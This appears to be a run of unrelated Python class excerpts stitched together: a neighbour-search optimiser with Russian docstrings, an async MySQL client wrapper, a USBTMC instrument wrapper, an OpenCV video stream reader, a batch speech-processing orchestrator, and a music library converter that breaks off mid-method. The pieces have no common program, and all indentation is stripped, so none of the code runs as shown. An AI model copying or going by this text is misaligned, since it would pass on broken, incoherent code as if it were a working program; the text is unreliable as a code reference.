key = hash_arr(self.ind_best)
di = {'ind': self.ind_best}
wchr_id = wchr0['id']
wchr0['dop_info'] = di
self.all_dict[key] = {
'fitness': self.fit_max,
'id': wchr_id,
'ind': self.ind_best,
'vec_param': self.v0
}
neibs_inds = self.get_neibs_indexes(self.ind_best)
v_center = self.all_dict[hash_arr(self.ind_best)]['vec_param']
for neib_ind in neibs_inds:
if self.is_in_dict(neib_ind):
continue
neib_v, isgood = self.get_good_neib_v(v_center, neib_ind)
if isgood:
self.add_to_surf_heap(neib_ind, neib_v)
if not self.fit_max:
self.add_to_surf_heap(self.ind_best, self.v0)
def dist_func(self, ind):
"""
Метод получения расстояния между решением под индексом ind и до самого лучшего решения
Чем ближе точка находится к лучшему решению, тем вероятнее ее посчитают
:param ind: индеск точки
:return: дистанция
"""
return np.linalg.norm(ind - self.ind_best)
def add_to_surf_heap(self, ind, vec_param):
"""
метод добавления новой потенциальной точки в "поверхность" выбора
:param ind: индекс новой точки
:param vec_param:
:return: none
"""
dist = self.dist_func(ind)
heappush(self.surf_p_heap, SurfPoint(dist, ind, vec_param))
def get_v(self, indexes):
"""
получить vec_param по индексу
:param indexes: int or nd-int array of delta xs
:return:
"""
v = np.copy(self.v0)
dv = np.array(indexes, dtype=np.int) * self.dx
v = v + dv
return v
def get_good_neib_v(self, v_center, neib_ind):
"""
получить отвалидированный vec_param
:param ind:
:param neib_ind:
:return: (neib_v, true/false); true=good neib_v
"""
neib_v = self.get_v(neib_ind)
return self.op.chr_contr.validate_vec_param(v_center, neib_v, self.s0)
def get_neibs_indexes(self, ind):
"""
Получить список соседей (неотвалидированный)
:param ind: индеск центра
:return: [neib_ind, ..]
"""
neibs = []
for i in range(len(ind)):
n1 = np.array(ind, dtype=np.int)
n1[i] += 1
neibs.append(n1)
n2 = np.array(ind, dtype=np.int)
n2[i] -= 1
neibs.append(n2)
return neibs
def is_in_dict(self, ind):
"""
:param ind: ndarray, int
:return: true/false
"""
key = hash_arr(ind)
return key in self.all_dict
def add_to_all_dict(self, ind, vec_param):
"""
ДОбавляет новую точку в мега-словарь
:param ind:
:param vec_param:
:return:
"""
key = hash_arr(ind)
if key in self.all_dict:
return
chromo = self.op.chr_contr.get_chromo_from_vecs(vec_param, self.s0)
di = {'ind': ind}
wchr_id = self.op.add_new_chromo(chromo, dop_info=di)
self.all_dict[key] = {
'fitness': None,
'id': wchr_id,
'ind': ind,
'vec_param': self.op[wchr_id]['vec_param']
}
def get_wchr_4calc_thread_save(self):
"""
главынй метод получения точки для расчета (потокобезопасный)
:return: wchromo
"""
res = None
try:
self.locker.acquire()
res = self.get_wchr_4calc()
finally:
self.locker.release()
return res
def get_wchr_4calc(self):
"""
главынй метод получения точки для расчета (потокоНЕбезопасный)
:return: wchromo
"""
surf_p = heappop(self.surf_p_heap)
ind = surf_p.ind
v_center = surf_p.vec_param
self.add_to_all_dict(ind, v_center)
wchr_id = self.all_dict[hash_arr(ind)]['id']
wchr = self.op[wchr_id]
neibs_inds = self.get_neibs_indexes(ind)
rnd.shuffle(neibs_inds)
for neib_ind in neibs_inds:
if self.is_in_dict(neib_ind):
continue
neib_v, isgood = self.get_good_neib_v(v_center, neib_ind)
if isgood:
self.add_to_surf_heap(neib_ind, neib_v)
return wchr
def take_calced_wchr_thread_save(self, wchr, fit):
"""
Потокобезопастный метод принятия посчитанного варианта
:param wchr:
:param fit:
:return:
"""
res = None
try:
self.locker.acquire()
res = self.take_calced_wchr(wchr, fit)
finally:
self.locker.release()
return res
def take_calced_wchr(self, wchr, fit):
"""
ПотокоНЕбезопастный метод принятия посчитанного варианта
:param wchr:
:param fit:
:return:
"""
if wchr['name'] != self.op.name:
return
wchr_id = wchr['id']
self.op[wchr_id]['fitness'] = fit
ind = np.array(wchr['dop_info']['ind'], dtype=np.int)
value = self.all_dict[hash_arr(ind)]
value['fitness'] = fit
res = (not self.fit_max) or fit > self.fit_max
if res:
self.fit_max = fit
self.ind_best = value['ind']
for sp in self.surf_p_heap:
dist = self.dist_func(sp.ind)
sp.dist = dist
heapify(self.surf_p_heap)
n = len(self.ind_best) * 2
hl = len(self.surf_p_heap)
if n < hl:
h_new = []
for _ in range(n):
heappush(h_new, heappop(self.surf_p_heap))
self.surf_p_heap = h_new
return res
def on_improve(self):
pass
def get_fit(self, ind):
"""
мтод получения фитнеса точки по индексу
:param ind:
:return:
"""
key = hash_arr(ind)
if key in self.all_dict:
return self.all_dict[key]['fitness']
else:
return None
def is_extremum(self, ind=None):
"""
Уже всё?
:param ind:
:return:
"""
if not ind:
ind = self.ind_best
fit = self.get_fit(ind)
v_center = None
if not fit:
return False
inds_neibs = self.get_neibs_indexes(ind)
for ind_neib in inds_neibs:
fit_neib = self.get_fit(ind_neib)
if not fit_neib:
if not v_center:
v_center = self.get_v(ind)
neib_v, isgood = self.get_good_neib_v(v_center, ind_neib)
if isgood:
return False
elif fit_neib > fit:
return False
return True
def get_best_cromo(self):
"""
получить лучшую chromo
:return:
"""
key = hash_arr(self.ind_best)
wchr_id = self.all_dict[key]['id']
wchr = self.op[wchr_id]
cromo = wchr['chromo']
return cromo
class Client(object):
def __init__(self, *args, **kwargs):
self._args = args
self._kwargs = kwargs
self._connection = None
self._closed = False
self._close_callback = None
self._io_loop = kwargs.pop('io_loop', None)
self.__cursor_lock = RLock()
if self._io_loop is None:
self._io_loop = IOLoop.current()
if "cursorclass" in kwargs and issubclass(kwargs["cursorclass"], Cursor):
kwargs["cursorclass"] = kwargs["cursorclass"].__delegate_class__
def connect(self):
future = Future()
def on_connect(connection_future):
if connection_future._exc_info is None:
self._connection = connection_future._result
self._connection.set_close_callback(self.on_close)
future.set_result(self)
else:
future.set_exc_info(connection_future._exc_info)
connection_future = async_call_method(Connection, *self._args, **self._kwargs)
IOLoop.current().add_future(connection_future, on_connect)
return future
def on_close(self):
self._closed = True
if self._close_callback and callable(self._close_callback):
self._close_callback(self)
self._close_callback = None
def set_close_callback(self, callback):
self._close_callback = callback
def close(self):
if self._closed:
return
return async_call_method(self._connection.close)
def autocommit(self, value):
return async_call_method(self._connection.autocommit, value)
def begin(self):
return async_call_method(self._connection.begin)
def commit(self):
return async_call_method(self._connection.commit)
def rollback(self):
return async_call_method(self._connection.rollback)
def show_warnings(self):
return async_call_method(self._connection.show_warnings)
def select_db(self, db):
return async_call_method(self._connection.select_db, db)
def cursor(self, cursor_cls=None):
if cursor_cls is None:
cursor_cls = self._connection.cursorclass
if not self.__cursor_lock.acquire(0):
raise RuntimeError("Connection might provide only one opened cursor")
if cursor_cls and issubclass(cursor_cls, Cursor):
original_cursor_cls = cursor_cls.__delegate_class__
else:
original_cursor_cls = cursor_cls
cursor = self._connection.cursor(original_cursor_cls)
cursor_cls = cursor_cls if issubclass(cursor_cls, Cursor) else cursor.__mytor_class__
cursor = cursor_cls(cursor)
cursor._release_lock = lambda *a: self.__cursor_lock.release()
return cursor
def query(self, sql, unbuffered=False):
return async_call_method(self._connection.query, sql, unbuffered)
def next_result(self):
return async_call_method(self._connection.next_result)
def kill(self, thread_id):
return async_call_method(self._connection.kill, thread_id)
def ping(self, reconnect=True):
return async_call_method(self._connection.ping, reconnect)
def set_charset(self, charset):
return async_call_method(self._connection.set_charset, charset)
def __getattr__(self, name):
return getattr(self._connection, name)
class UsbCon():
"""
USBTMC BACKEND
A wrapper of the usbtmc library. The idea is that I can create an
abstraction layer so that in the future, I can write other backends
to support other os's. May need to make a pyvisa backend, for example.
"""
def __init__(self, idProduct=None, idVendor=None):
"""
"""
self.lock = RLock()
self.instr = self.connect(idProduct, idVendor)
print("Asking *IDN? returns: {}".format(self.ask("*IDN?")))
def connect(self, idProduct=None, idVendor=None):
"""
if either idProduct or idVendor are None, query the user for what to connect to.
"""
if idProduct is None or idVendor is None:
for dev in usbtmc.list_devices():
print("1: {} - {}".format(dev.manufacturer, dev.product))
dev_con = raw_input("Enter the number of the device you want to connect to: ")
dev_chosen = usbtmc.list_devices()[int(dev_con) - 1]
product_id = dev_chosen.idProduct
vendor_id = dev_chosen.idVendor
for dev in usbtmc.list_devices():
if dev.idProduct == product_id and dev.idVendor == vendor_id:
if dev.is_kernel_driver_active(0):
dev.detach_kernel_driver(0)
instr = usbtmc.Instrument(vendor_id, product_id)
return instr
def read(self, num=-1, encoding="utf-8"):
"""
Wrapping around the read method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.read(num, encoding)
self.lock.release()
return msg
def write(self, message, encoding="utf-8"):
"""
Wrapping around the write method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.write(message, encoding)
self.lock.release()
return msg
def ask(self, message, num=-1, encoding="utf-8"):
"""
Wrapping around the ask method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.ask(message, num, encoding)
self.lock.release()
return msg
def read_raw(self, num=-1):
"""
Wrapping around the read_raw method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.read_raw(num)
self.lock.release()
return msg
def ask_raw(self, msg, num=-1):
"""
Wrapping around the ask_raw method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.ask_raw(msg, num)
self.lock.release()
return msg
class Stream:
def __init__(self, pipe=None):
self.pipe = pipe
self.out = None
self.lock = RLock()
self.videoframe = None
def run(self):
print("Starting process stream")
if self.pipe is None:
print("There is no pipe\n exiting now...")
return
if camera:
self.cap = cv2.VideoCapture(
'http://*****:*****@10.42.80.102/axis-cgi/mjpg/video.cgi?streamprofile=Soccer&videokeyframeinterval='
)
else:
self.cap = cv2.VideoCapture(
'../vid/stream_2019-06-03_14-53-06_Trim.mp4')
#self.cap = cv2.VideoCapture('../vid/twee.avi')
self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 1)
if self.cap.isOpened() is False:
return
self.showFrame = th.Thread(target=self.show, name="show")
self.sendFrame = th.Thread(target=self.send, name="send")
self.sendFrame.start()
self.showFrame.start()
while True:
_, frame = self.cap.read()
if frame is not None:
self.lock.acquire()
self.videoframe = frame
self.lock.release()
else:
if camera:
break
else:
self.cap = cv2.VideoCapture(
'../vid/stream_2019-06-03_14-53-06_Trim.mp4')
#self.cap = cv2.VideoCapture('../vid/twee.avi')
if not self.sendFrame.is_alive() or not self.showFrame.is_alive():
break
if not camera:
time.sleep(0.025)
self.sendFrame.join()
self.showFrame.join()
self.cap.release()
self.out.release()
self.pipe.close()
cv2.destroyAllWindows()
return
def show(self):
time.sleep(0.5)
lasttime = 0
update = 31
strfps = 0
now = datetime.datetime.now()
if save:
self.out = cv2.VideoWriter(
'../rec/stream_' + now.strftime("%Y-%m-%d_%H-%M-%S") + ".avi",
cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 60,
(int(self.cap.get(3)), int(self.cap.get(4))))
while True:
try:
fps = (time.time() - lasttime)
except Exception:
fps = 0
lasttime = time.time()
self.lock.acquire()
frame = self.videoframe.copy()
self.lock.release()
if save:
save_frame = frame.copy()
if update > 30:
update = 0
strfps = str(fps * 10000)[0:2]
update += 1
if frame is not None:
cv2.putText(frame, strfps, (10, 80), cv2.FONT_HERSHEY_PLAIN, 4,
(0, 0, 255), 4, 2)
if save:
self.out.write(save_frame)
#cv2.imshow('live', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
def send(self):
time.sleep(0.5)
while True:
self.lock.acquire()
frame = self.videoframe
self.lock.release()
self.pipe.send(frame)
if not self.showFrame.is_alive():
break
# https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/
class Orchestrator:
def __init__(self,
submission_queue: multiprocessing.Queue,
status_provider: BatchStatusProvider,
config_file: str,
strict_config: bool,
log_folder: str,
cache_search_dirs: List[str],
log_event_que: LogEventQueue,
singleton_run_summary_path: Optional[str] = None):
self._submission_que: multiprocessing.Queue = submission_queue
self._status_provider: BatchStatusProvider = status_provider
self._config_file: str = config_file
self._strict_config: bool = strict_config
self._log_folder: str = log_folder
self._cache_search_dirs = cache_search_dirs
self._log_event_que = log_event_que
self._singleton_run_summary_path = singleton_run_summary_path
self._on_batch_id = -1
self._on_batch_type: type = type(None)
self._master_thread = Thread(target=self._master_thread_loop,
name="OrchestratorMasterThread",
args=(()),
daemon=True)
self._run_summary_thread_gate = Event()
self._run_summary_thread = Thread(target=self._run_summary_loop,
name="OrchestratorRunSummaryThread",
args=(()),
daemon=True)
self.__debug_loop_thread = Thread(target=self.__debug_loop,
name="OrchestratorDebugLoop",
args=(()),
daemon=True)
#TODO(andwald): The following hypothetical thread dynamically sets RTF and Concurrency of EndpointManagers
# according to its own decoupled logic. This will be nice and pluggable since EndpointManagers
# already adhere to whatever the dynamic settings are for the Atomic Shared Variables of
# RTF and Concurrency, which is what this thread will manipulate.
# self._perf_thread = Thread(target=self.perf_thread_loop, name="OrchestratorPerfThread", args=(self,), daemon=True)
self._file_queue = Queue()
self._file_queue_size = 0
self._in_progress: Dict[str, WorkItemRequest] = {
} # WorkItemRequest.filepath -> WorkItemRequest
self._in_progress_owner: Dict[str, EndpointManager] = {
} # WorkItemRequest.filepath -> EndpointManager
self._work_results: Dict[str, WorkItemResult] = {
} # WorkItemRequest.filepath -> WorkItemResult
self._batch_completion_evt = Event()
self._accounting_lock = RLock()
self._file_queue_cond = Condition(self._accounting_lock)
self._run_summary_lock = Lock()
self._misc_lock = Lock()
self._summarizer: BatchRunSummarizer = None
self._stop_requested = False
self._endpoint_managers: List[EndpointManager] = []
self._endpoint_generation = 0
self._old_managers = set(
) # Set[str], contains names of now-inactive endpoint managers
self._config_notifier: ThreadedNotifier = \
notify_file_modified(self._config_file, self.hotswap_endpoint_managers, self._log_event_que)
self._start_time = time.time()
self._creator_pid = current_process().pid
logger.info("Orchestrator created by process: {0}".format(
self._creator_pid))
self.__cnt_work_success_cb = 0
self.__cnt_work_failure_cb = 0
self._master_thread.start()
self._run_summary_thread.start()
# self.__debug_loop_thread.start() # Enable to debug concurrency changes.
def is_alive(self):
return self._master_thread.is_alive()
def join(self):
self._master_thread.join()
def _run_summary_loop(self):
while not self._stop_requested:
# Prevent redundant updates when nothing can change.
self._run_summary_thread_gate.wait()
if self._stop_requested:
return
if self._on_batch_id > -1 and self._summarizer:
try:
self.write_summary_information(write_run_summary=True,
log_conclusion_msg=False)
# Don't ever let this thread die as it's too important.
# Log and re-try. Repetitive failure loop will at least get logged.
except Exception as e:
exception_details = traceback.format_exc()
logger.error(
"Orchestrator: run_summary_thread in run_summary_loop(): "
"Caught {0}, \nDetails: {1}".format(
type(e).__name__, exception_details))
time.sleep(RUN_SUMMARY_LOOP_INTERVAL)
def __debug_loop(self):
"""
This is only intended to be used during development and debugging.
"""
def _check_lock_acq(lock):
acquired = lock.acquire(block=False)
if acquired:
lock.release()
return False
# We weren't able to acquire, so it's taken
return True
# Loop forever. This is a daemonic thread and it will intentionally
# only die when the process owning Orchestrator dies.
last_cnt_work_success = 0
while True:
logger.debug("Stop requested: {0}".format(self._stop_requested))
logger.debug("Batch que size: {0}".format(
self._submission_que.qsize()))
logger.debug("On batch id: {0}".format(self._on_batch_id))
logger.debug("File queue size: {0}".format(self._file_queue_size))
logger.debug("Num in progress: {0}".format(len(self._in_progress)))
logger.debug("Orchestrator accounting lock taken: {0}".format(
_check_lock_acq(self._accounting_lock)))
logger.debug("Status provider accounting lock taken: {0}".format(
_check_lock_acq(BatchStatusProvider.lock)))
logger.debug(
"Notify work success callback entry count: {0}".format(
self.__cnt_work_success_cb))
logger.debug(
"Work items completed since last debug print: {0}".format(
self.__cnt_work_success_cb - last_cnt_work_success))
last_cnt_work_success = self.__cnt_work_success_cb
logger.debug(
"Notify work failure callback entry count: {0}".format(
self.__cnt_work_failure_cb))
logger.debug("Run summary thread alive: {0}".format(
self._run_summary_thread.is_alive()))
logger.debug("Number of old endpoint managers: {0}".format(
len(self._old_managers)))
for epm in self._endpoint_managers:
logger.debug("Endpoint manager: {0}".format(epm.name))
logger.debug(" Current requests: {0}".format(
epm._current_requests))
logger.debug(" Current requests lock taken: {0}".format(
_check_lock_acq(epm._current_requests_lock)))
logger.debug(" Pool apply_async count: {0}".format(
epm._cnt_apply_async))
logger.debug(" Pool callback count: {0}".format(
epm._cnt_pool_cb))
logger.debug(" Pool callback returns count: {0}".format(
epm._cnt_pool_cb_rets))
logger.debug(" Stop requested: {0}".format(
epm._stop_requested))
logger.debug(" Now trying to steal work: {0}".format(
epm._in_steal_work_fn))
logger.debug("Stack frames of all threads:")
logger.debug("\n*** STACKTRACE - START ***\n")
current_threads_stacktrace(use_logger=True)
logger.debug("\n*** STACKTRACE - END ***\n")
time.sleep(DEBUG_LOOP_INTERVAL)
def write_summary_information(self,
write_run_summary: bool = True,
log_conclusion_msg: bool = False,
allow_fail: bool = False):
"""
Summarize individual file results, along with overall results,
and write them to log and/or file. Also log a conclusion message
if requested.
:param write_run_summary: whether run summary (individual files + overall)
should be written to file.
:param log_conclusion_msg: whether a conclusion message should be logged
which includes final stats and lists failures.
:param allow_fail: log failure to write run summary but do not raise exception.
"""
# To ensure history serialization, we wrap this method
# in its own lock that nobody else contends with except for
# the threads that invoke this.
with self._run_summary_lock:
# Take a consistent snapshot and then report on the snapshot
# without holding back forward progress.
with self._accounting_lock:
snap_work_results: Dict[str, WorkItemResult] = copy.deepcopy(
self._work_results)
snap_file_queue_size: int = self._file_queue_size
snap_num_running: int = len(self._in_progress)
snap_run_summarizer: BatchRunSummarizer = self._summarizer
snap_batch_id: int = self._on_batch_id
summary_json = {}
# It's uncommon that a run summarizer wouldn't be available yet but this could
# happen for example by signaling early termination to the Orchestrator.
if snap_run_summarizer:
summary_json = snap_run_summarizer.run_summary(
snap_work_results, snap_file_queue_size,
snap_num_running, self._start_time,
len(self._endpoint_managers), log_conclusion_msg)
# Write the summary json file
if write_run_summary:
try:
if self._singleton_run_summary_path:
logger.debug(
"Updating singleton run_summary: {0}".format(
self._singleton_run_summary_path))
write_json_file_atomic(
summary_json, self._singleton_run_summary_path)
else:
try:
self._status_provider.set_run_summary(
snap_batch_id, summary_json)
except BatchNotFoundException:
# This is benign and means we caught a rare race condition
# in which the batch directory is very recently deleted.
pass
# Minimal throttle on file writes. We are under _run_summary_lock.
time.sleep(3)
except Exception as e:
logger.warning("Failed to write run_summary: {0}".format(
str(e)))
if not allow_fail:
raise
def request_stop(self):
"""
Arrange for conditions that will lead to a fast conclusion
of any ongoing batch without finishing whatever is remaining or
in progress in this batch if any. This will also cause
EndpointManagers to shut down. Orchestrator's join() is
guaranteed to eventually return.
"""
# Assume this might be called from a signal handler.
# Instead of preventing child proc inheritance of signals,
# we eliminate any leaky abstractions by permitting children
# and those who spawn them to be completely blameless
# for creating unexpected conditions.
if current_process().pid != self._creator_pid:
return
with self._misc_lock:
try:
if self._config_notifier:
self._config_notifier.stop()
self._config_notifier = None
except OSError as e:
# ThreadedNotifier.stop() is not idempotent and gives
# errno EBADF if it is already stopped.
if e.errno != errno.EBADF:
raise
# A couple facts about Python3 in case there is any concern
# about being invoked by a signal handler.
# 1 - Only the main thread of a process can handle
# signals, so now we know we are the main thread of the
# creator process in the signal case.
# 2 - When running a signal handler, the main thread is
# is still subject to preemption at tick and the GIL
# can still be released for other threads. This means
# that picking up the lock here cannot create deadlock,
# unless the main thread itself was holding the lock before
# the signal. That's why we use ReentrantLock.
with self._accounting_lock:
self._stop_requested = True
while self._file_queue_size > 0:
self._file_queue.get()
self._file_queue_size -= 1
self._submission_que.put(None)
self._file_queue_cond.notify_all()
self._batch_completion_evt.set()
for m in self._endpoint_managers:
m.request_stop()
self._run_summary_thread_gate.set()
def steal_work(self, manager: EndpointManager) -> WorkItemRequest:
"""
:param manager: the EndpointManager who is trying to steal work.
:returns str: audio file of work to do
"""
sentinel = SentinelWorkItemRequest()
# Classic consumer waiter pattern using condition variable.
self._accounting_lock.acquire()
while True:
if manager.name in self._old_managers or self._stop_requested:
work = sentinel
break
if self._file_queue_size > 0:
work: WorkItemRequest = self._file_queue.get()
self._file_queue_size -= 1
# Eliminate this manager early if we detect a language mismatch.
# It will be recreated on a new batch.
if work.language and manager.endpoint_config["language"].lower(
) != work.language.lower():
self._file_queue.put(
work) # back on queue for someone qualified
self._file_queue_size += 1
self._file_queue_cond.notify()
work = sentinel
break
# Got some work to do!
self._in_progress[work.filepath] = work
self._in_progress_owner[work.filepath] = manager
break
else:
# Back to sleep because we got nothing.
self._file_queue_cond.wait(
) # implicit self.accounting_lock.release()
self._accounting_lock.release()
return work
def _merge_results(self, filepath: str, result: WorkItemResult):
if filepath not in self._work_results:
self._work_results[filepath] = result
else:
prev_attempts = self._work_results[filepath].attempts
result.attempts += prev_attempts
self._work_results[filepath] = result
def notify_work_success(self, filepath: str, manager: EndpointManager,
result: WorkItemResult):
with self._accounting_lock:
self.__cnt_work_success_cb += 1
if manager.name in self._old_managers:
# The AudioFileWork item would already be back in pending
# or running by someone else or finished. Covers an uncommon race.
return
if self._stop_requested:
# It's too late for updating batch status and we're about to die.
return
del self._in_progress[filepath]
del self._in_progress_owner[filepath]
self._merge_results(filepath, result)
# Did we just finish the batch?
if self._file_queue_size == 0 and len(self._in_progress) == 0:
self._batch_completion_evt.set()
def notify_work_failure(self, filepath: str, manager: EndpointManager,
result: WorkItemResult):
with self._accounting_lock:
self.__cnt_work_failure_cb += 1
if manager.name in self._old_managers:
# The WorkItemResult would already be back in pending
# or running by someone else or finished. Covers an uncommon race.
return
if self._stop_requested:
# It's too late for updating batch status and we're about to die.
return
self._merge_results(filepath, result)
# Do we give it another chance?
# Check retry-ability and num retries burned already.
if result.can_retry and \
self._work_results[filepath].attempts - 1 < ORCHESTRATOR_SCOPE_MAX_RETRIES:
self._log_event_que.debug(
"Placed work item {0} back into queue since retriable.".
format(filepath))
self._file_queue.put(self._in_progress[filepath])
self._file_queue_size += 1
self._file_queue_cond.notify()
# Else no more retries.
# Either way the item is no longer in progress.
del self._in_progress[filepath]
del self._in_progress_owner[filepath]
# Did we just finish the batch? E.g. finally gave up on this work
# item and that so happens to be the last in the batch.
if self._file_queue_size == 0 and len(self._in_progress) == 0:
self._batch_completion_evt.set()
def hotswap_endpoint_managers(self):
config_data = load_configuration(self._config_file,
self._strict_config)
with self._accounting_lock:
if self._stop_requested:
return
# Get the unique generation of these endpoint managers, which
# is useful for both debugging and logging.
gen = self._endpoint_generation
self._endpoint_generation += 1
# Get an EndpointStatusChecker for the type of the
# BatchRequest that is currently being processed.
ep_status_checker: EndpointStatusChecker
if isinstance(None, self._on_batch_type):
ep_status_checker = UnknownEndpointStatusChecker(
self._log_event_que)
else:
ep_status_checker = self._on_batch_type.get_endpoint_status_checker(
self._log_event_que)
try:
# Determine EndpointManagers that need to be deleted (modified, new,
# or no longer exist). Do not touch EndpointManagers that have not changed.
new_em_objs: List[EndpointManager] = []
# Start by assuming every EndpointManager needs to be deleted.
deleted_managers: Dict[str, EndpointManager] = \
{em.endpoint_name: em for em in self._endpoint_managers}
for endpoint_name, endpoint_config in config_data.items():
# If an existing endpoint is totally preserved in the new config, don't delete it.
# Also require that the endpoint's manager is not terminally stopped, otherwise we need
# a new instance of it anyway.
if endpoint_name in deleted_managers and \
endpoint_config == deleted_managers[endpoint_name].endpoint_config and \
not deleted_managers[endpoint_name]._stop_requested: # noqa
# Don't delete this EndpointManager and don't make a new one.
del deleted_managers[endpoint_name]
continue
new_em_objs.append(
EndpointManager(
"HotswapGen{0}_{1}".format(str(gen),
endpoint_name),
endpoint_name,
endpoint_config,
self._log_folder,
self._log_event_que,
self._cache_search_dirs,
# on EndpointManager has capacity to steal work
self.steal_work,
# on EndpointManager reports success
self.notify_work_success,
# on EndpointManager reports failure
self.notify_work_failure,
ep_status_checker,
))
# Validation of the config could fail or invalid yaml may have been given, etc.
# We catch anything so that we may permit another attempt later with a proper config file.
# We report it in the logs and somewhere else we will die if no forward progress for too long.
except Exception as e:
exception_details = traceback.format_exc()
logger.error(
"Caught Exception '{0}' reading config. Details: {1}\n{2}".
format(type(e).__name__, str(e), exception_details))
# Don't proceed to stop the old EndpointManagers because they're all we've got to go on.
return
if self._stop_requested:
return
# Also swap the EndpointManagers under lock in case of race.
# First stop the old EndpointManagers to be deleted.
for m in self._endpoint_managers:
if m.endpoint_name in deleted_managers:
self._old_managers.add(m.name)
m.request_stop()
# Un-assign work in progress for deleted EndpointManagers.
# Now anything the old managers might still callback
# would be rejected so we can safely move in progress back to queue.
work_in_progress = {k: v
for k, v in self._in_progress.items()
} # shallow copy
work_in_progress_owner = {
k: v
for k, v in self._in_progress_owner.items()
} # shallow copy
for filepath, work_item in self._in_progress.items():
owner_endpoint_name = self._in_progress_owner[
filepath].endpoint_name
# If the EndpointManager that owns this work item is being deleted,
# free up the work item.
if owner_endpoint_name in deleted_managers:
del work_in_progress[filepath]
del work_in_progress_owner[filepath]
self._file_queue.put(work_item)
self._file_queue_size += 1
self._in_progress = work_in_progress
self._in_progress_owner = work_in_progress_owner
# We've potentially repopulated the file_queue.
self._file_queue_cond.notify_all()
# Start the new EndpointManagers.
for m in new_em_objs:
m.start()
# Record the latest set of all EndpointManagers.
self._endpoint_managers = \
[em for em in self._endpoint_managers
if em.endpoint_name not in deleted_managers] + \
new_em_objs
# Ensure that they are all using the correct type of EndpointStatusChecker
# which depends on the subtype of BatchRequest we are currently processing.
for m in self._endpoint_managers:
m.set_endpoint_status_checker(ep_status_checker)
logger.info(
"Set new EndpointManagers after hot-swap: {0}".format(config_data))
def _master_finalize(self):
"""
Work to be done before Orchestrator's master thread exits.
"""
# Log conclusion of run_summary information if at singleton level.
if self._singleton_run_summary_path:
self.write_summary_information(write_run_summary=False,
log_conclusion_msg=True)
def _master_thread_loop(self):
# Keep doing batches until given a stop request.
while True:
# Starting a new batch.
request: BatchRequest = self._submission_que.get()
with self._accounting_lock:
self._on_batch_type = type(request)
# Recreate the endpoints on start of a new batch in case
# the last batch disabled endpoints, e.g. for mismatched
# language or other reasons.
self.hotswap_endpoint_managers()
with self._accounting_lock:
if self._stop_requested:
self._master_finalize()
return
# Starting a new batch.
# Reset record keeping if it's not singleton run summary.
if self._singleton_run_summary_path is None:
self._work_results = {}
self._summarizer = request.get_batch_run_summarizer()
logger.info("Orchestrator: Starting batch {0}".format(
request.batch_id))
self._status_provider.change_status_enum(
request.batch_id, BatchStatusEnum.running)
self._on_batch_id = request.batch_id
self._batch_completion_evt.clear()
self._run_summary_thread_gate.set()
assert len(self._in_progress) == 0
assert self._file_queue_size == 0
for work in request.make_work_items(
self._status_provider.batch_base_path(
request.batch_id), self._cache_search_dirs,
self._log_folder):
self._file_queue.put(work)
self._file_queue_size += 1
self._file_queue_cond.notify_all()
# Wait for batch completion or early stop request. In both cases,
# nothing is in progress and nothing is in queue when we're woken.
self._batch_completion_evt.wait()
logger.info("Orchestrator: Completed batch {0}".format(
request.batch_id))
# Report per-batch final run_summary.
if self._singleton_run_summary_path is None:
self.write_summary_information(write_run_summary=True,
log_conclusion_msg=True,
allow_fail=True)
# Even with singleton run_summary, we should update run_summary file
# now but not log conclusion.
else:
self.write_summary_information(write_run_summary=True,
log_conclusion_msg=False,
allow_fail=True)
# Concatenate batch-level results to single file.
if request.combine_results:
write_single_output_json(
request.files,
self._status_provider.batch_base_path(request.batch_id))
# Intentionally change status enum last so that above results committed first
# for any event-driven observers.
self._status_provider.change_status_enum(request.batch_id,
BatchStatusEnum.done)
logger.info(
"Orchestrator: Updated batch status to Done: {0}".format(
request.batch_id))
# As another batch may not show up for a while (or never), stop the periodic
# run summary thread since no new information to report.
self._run_summary_thread_gate.clear()
class MusicLibraryConverterMaster(object):
'''
classdocs
'''
__instance = None
def __init__(self, verbose, recursive, threads, includePattern, excludePattern, overwrite, overwriteIfSrcNewer, metadataonly, src, dst, converterType='FFMpeg', srcParams='', dstParams='', srcExt='flac', dstExt='mp3'):
'''
Constructor
'''
':type recursive: boolean'
':type includePattern: String'
':type excludePattern: String'
':type threads: int'
':type src: String'
':type src: String'
':type dstExt: String'
':type dstExt: String'
':type overwrite: String'
':type overwriteIfSrcNewer: String'
self.__verbose = verbose
self.__recursive = recursive
self.__includePattern = includePattern
self.__excludePattern = excludePattern
self.__threads = threads
# print ("src="+src)
# print ("dst="+dst)
self.__src = Path(src)
self.__dst = Path(dst)
self.__srcExt = srcExt
self.__dstExt = dstExt
self.__coverExtList = ['jpg', 'jpeg', 'bmp', 'png', 'gif']
#self.__executer = ProcessPoolExecutor(max_workers=threads)
self.__executer = ThreadPoolExecutor(max_workers=threads)
self.__futures = []
self.__futureEvents = {}
self.__instance = self
self.__mutex = RLock()
self.__evInterrupted = Event()
self.__overwrite = overwrite
self.__overwriteIfSrcNewer = overwriteIfSrcNewer
self.__metadataonly = metadataonly
self.__converter = MusicLibraryConverterBackendFactory(converterType, srcParams, dstParams)
if self.__converter == None or not self.__converter.backendFound():
raise ConverterBackendNotFoundException(converterType)
def handleFiles(self, srcFile, dst):
':type src: Path'
':type dst: Path'
if not srcFile.exists():
raise FileNotFoundError(srcFile)
dstFile = self.deriveDstFile(srcFile, dst)
': :type dstFile: Path'
skipFile = False
if dstFile.exists():
if dstFile.is_symlink() or not os.access(dstFile.as_posix(), os.W_OK):
skipFile = True # Skip all symlinks and destination files which are not writable
elif self.__overwrite:
skipFile = False # Overwrite file as requested!
elif self.__overwriteIfSrcNewer:
# Check whether or not the last modification of the source file has been later than the last modification of the destination file
# Update if newer
if srcFile.stat().st_mtime < dstFile.lstat().st_mtime:
skipFile = True
else:
skipFile = False
else:
skipFile = True # In all other cases: it's better to skip this file
elif self.__metadataonly:
skipFile = True
# Do the work!
if not skipFile:
try:
srcFileStr = (str(srcFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding)
dstFileStr = (str(dstFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding)
